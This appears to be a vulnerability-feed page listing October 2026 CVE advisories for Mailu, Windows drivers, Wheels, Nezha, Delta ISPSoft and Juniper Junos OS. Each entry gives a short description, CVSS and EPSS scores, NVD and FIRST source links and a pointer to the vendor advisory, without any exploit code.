Mailu is a mail server distributed as a set of Docker images. Prior to 8577c929b4ade04d3cd4210cf036601abd793556, a domain manager targeting an administrative account or another domain manager with greater privileges can reset passwords or obtain tokens for that account. This authorization failure allows a domain manager to take over a higher-privileged account and exercise that account's permissions. This vulnerability is addressed by commit 8577c929b4ade04d3cd4210cf036601abd793556.
CVSS 7.2 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-86008).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-86008&date=2026-10-25).
Sources:
NVD CVE-2026-86008: https://nvd.nist.gov/vuln/detail/CVE-2026-86008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-86008&date=2026-10-25
Mailu is a mail server distributed as a set of Docker images. Prior to 8577c929b4ade04d3cd4210cf036601abd793556, a domain manager targeting an administrative account or another domain manager with greater privileges can reset passwords or obtain tokens for that account. This authorization failure allows a domain manager to take over a higher-privileged account and exercise that account's permissions. This vulnerability is addressed by commit 8577c929b4ade04d3cd4210cf036601abd793556.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70212
Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70212).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70212&date=2026-10-25).
Sources:
NVD CVE-2026-70212: https://nvd.nist.gov/vuln/detail/CVE-2026-70212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70212&date=2026-10-25
Improper restriction of communication channel to intended endpoints in Windows Security Center allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development.
https://kevwire.com/record/CVE-2026-111446
Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development. (Oct 16, 2026).
Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development. Before 4.1.2 these tools have no local-access restriction; in 4.1.2 the restriction trusts client-supplied headers without checking the connecting peer. Remote clients can obtain application settings, environment/datasource details and routes, and start test runs. Where application tests use the primary datasource, those runs can write to the real application database. The separately protected migrator and CLI endpoints are not affected. This is fixed in 4.2.0.
CVSS 8.6 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111446).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111446&date=2026-10-25).
Sources:
NVD CVE-2026-111446: https://nvd.nist.gov/vuln/detail/CVE-2026-111446
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111446&date=2026-10-25
Wheels 4.0.0 through 4.1.2 exposes password-less development tools under /wheels/* to remote clients when enablePublicComponent=true, as it is by default in development. Before 4.1.2 these tools have no local-access restriction; in 4.1.2 the restriction trusts client-supplied headers without checking the connecting peer. Remote clients can obtain application settings, environment/datasource details and routes, and start test runs. Where application tests use the primary datasource, those runs can write to the real application database. The separately protected migrator and CLI endpoints are not affected. This is fixed in 4.2.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer...
https://kevwire.com/record/CVE-2026-111383
Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer... (Oct 16, 2026).
Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer WebSocket endpoint. Attackers can hold thousands of subscriptions created by ServerTransferClass.Subscribe without limits, exhausting file descriptors, memory, and goroutines and blocking agent gRPC reconnections.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111383).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111383&date=2026-10-25).
Sources:
NVD CVE-2026-111383: https://nvd.nist.gov/vuln/detail/CVE-2026-111383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111383&date=2026-10-25
Nezha from 2.0.13 before 2.3.15 contains a resource exhaustion vulnerability that allows authenticated users to open unbounded concurrent connections to the /api/v1/ws/transfer WebSocket endpoint. Attackers can hold thousands of subscriptions created by ServerTransferClass.Subscribe without limits, exhausting file descriptors, memory, and goroutines and blocking agent gRPC reconnections.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-109453
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109453).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109453&date=2026-10-25).
Sources:
NVD CVE-2026-109453: https://nvd.nist.gov/vuln/detail/CVE-2026-109453
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109453&date=2026-10-25
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-108131
No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108131).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108131&date=2026-10-25).
Sources:
NVD CVE-2026-108131: https://nvd.nist.gov/vuln/detail/CVE-2026-108131
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108131&date=2026-10-25
No cwe for this issue in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.
https://kevwire.com/record/CVE-2026-105228
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft. (Oct 16, 2026).
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105228).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105228&date=2026-10-25).
Sources:
NVD CVE-2026-105228: https://nvd.nist.gov/vuln/detail/CVE-2026-105228
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105228&date=2026-10-25
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.
https://kevwire.com/record/CVE-2026-105227
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft. (Oct 16, 2026).
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.
CVSS 7.0 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105227).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105227&date=2026-10-25).
Sources:
NVD CVE-2026-105227: https://nvd.nist.gov/vuln/detail/CVE-2026-105227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105227&date=2026-10-25
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Delta ISPSoft.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.
https://kevwire.com/record/CVE-2026-105008
No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network. (Oct 13, 2026).
No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.
CVSS 9.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105008).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105008&date=2026-10-25).
Sources:
NVD CVE-2026-105008: https://nvd.nist.gov/vuln/detail/CVE-2026-105008
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105008&date=2026-10-25
No cwe for this issue in Windows Schannel allows an unauthorized attacker to perform spoofing over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to...
https://kevwire.com/record/CVE-2026-105007
An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to... (Oct 13, 2026).
An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to it.
To exploit the vulnerability, in a local attack scenario, an attacker could run a specially crafted application to elevate the attacker's privilege level. An attacker who successfully exploited this vulnerability could run processes in an elevated context. However, an attacker must first gain access to the local system with the ability to execute a malicious application in order to exploit this vulnerability.
The security update addresses the vulnerability by changing how ndis.sys validates buffer length.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105007).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105007&date=2026-10-25).
Sources:
NVD CVE-2026-105007: https://nvd.nist.gov/vuln/detail/CVE-2026-105007
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105007&date=2026-10-25
An elevation of privilege vulnerability exists in the Network Driver Interface Specification (NDIS) when ndis.sys fails to check the length of a buffer prior to copying memory to it.
To exploit the vulnerability, in a local attack scenario, an attacker could run a specially crafted application to elevate the attacker's privilege level. An attacker who successfully exploited this vulnerability could run processes in an elevated context. However, an attacker must first gain access to the local system with the ability to execute a malicious application in order to exploit this vulnerability.
The security update addresses the vulnerability by changing how ndis.sys validates buffer length.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-105003
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105003).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105003&date=2026-10-25).
Sources:
NVD CVE-2026-105003: https://nvd.nist.gov/vuln/detail/CVE-2026-105003
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105003&date=2026-10-25
Heap-based buffer overflow in HID class driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-103575
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103575).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103575&date=2026-10-25).
Sources:
NVD CVE-2026-103575: https://nvd.nist.gov/vuln/detail/CVE-2026-103575
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103575&date=2026-10-25
Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-103555
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103555).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103555&date=2026-10-25).
Sources:
NVD CVE-2026-103555: https://nvd.nist.gov/vuln/detail/CVE-2026-103555
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103555&date=2026-10-25
Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause...
https://kevwire.com/record/CVE-2026-102178
A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause routing-engine compromise or a routing-daemon denial of service via flowspec route re-advertisement when BGP update-threading is enabled.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102178).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102178&date=2026-10-25).
Sources:
NVD CVE-2026-102178: https://nvd.nist.gov/vuln/detail/CVE-2026-102178
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102178&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the BGP routing daemon of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP flowspec peer to cause routing-engine compromise or a routing-daemon denial of service via flowspec route re-advertisement when BGP update-threading is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network...
https://kevwire.com/record/CVE-2026-102176
A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network... (Oct 14, 2026).
A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network attacker to cause a denial of service or compromise the Routing Engine by sending specific packets when the SDK service and a JDAF routing instance are enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102176).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102176&date=2026-10-25).
Sources:
NVD CVE-2026-102176: https://nvd.nist.gov/vuln/detail/CVE-2026-102176
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102176&date=2026-10-25
A Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') vulnerability in the SDK service process of Juniper Networks Junos OS allows an unauthenticated network attacker to cause a denial of service or compromise the Routing Engine by sending specific packets when the SDK service and a JDAF routing instance are enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon...
https://kevwire.com/record/CVE-2026-102056
An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon... (Oct 14, 2026).
An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon and disclose limited process memory via a specific CFM Message sent to a configured interface.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102056).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102056&date=2026-10-25).
Sources:
NVD CVE-2026-102056: https://nvd.nist.gov/vuln/detail/CVE-2026-102056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102056&date=2026-10-25
An Out-of-bounds Read vulnerability in the cfmd process of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent-network attacker to crash the daemon and disclose limited process memory via a specific CFM Message sent to a configured interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-102050
A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service in Layer 2 control-plane processing via LLDP packets received on an interface configured for LLDP. Repeated triggering may disrupt LLDP and other Layer 2 control protocols across the device.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102050).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102050&date=2026-10-25).
Sources:
NVD CVE-2026-102050: https://nvd.nist.gov/vuln/detail/CVE-2026-102050
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102050&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the l2cpd daemon of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service in Layer 2 control-plane processing via LLDP packets received on an interface configured for LLDP. Repeated triggering may disrupt LLDP and other Layer 2 control protocols across the device.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to...
https://kevwire.com/record/CVE-2026-102037
An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to... (Oct 14, 2026).
An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to commit arbitrary device configuration with root privileges via a malicious response from a configured custom URL-feed server.
CVSS 9.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102037).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102037&date=2026-10-25).
Sources:
NVD CVE-2026-102037: https://nvd.nist.gov/vuln/detail/CVE-2026-102037
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102037&date=2026-10-25
An XML Injection vulnerability in the Unified Threat Management daemon (utmd) of Juniper Networks Junos OS on SRX Series devices allows an unauthenticated network attacker to commit arbitrary device configuration with root privileges via a malicious response from a configured custom URL-feed server.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP...
https://kevwire.com/record/CVE-2026-102030
An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP... (Oct 14, 2026).
An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP MVPN update when an inter‑region segmented VRF with 'protocols mvpn inter-region-template' is configured.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102030).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102030&date=2026-10-25).
Sources:
NVD CVE-2026-102030: https://nvd.nist.gov/vuln/detail/CVE-2026-102030
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102030&date=2026-10-25
An Incomplete Cleanup vulnerability in the rpd process of Juniper Networks Junos OS and Junos OS Evolved allows a configured MVPN neighbor to cause a denial of service via a BGP MVPN update when an inter‑region segmented VRF with 'protocols mvpn inter-region-template' is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or...
https://kevwire.com/record/CVE-2026-102029
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated configured MSDP peer or adjacent PIM sender to cause a denial of service via an MSDP or PIM policy that uses AS-path expansion.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102029).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102029&date=2026-10-25).
Sources:
NVD CVE-2026-102029: https://nvd.nist.gov/vuln/detail/CVE-2026-102029
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102029&date=2026-10-25
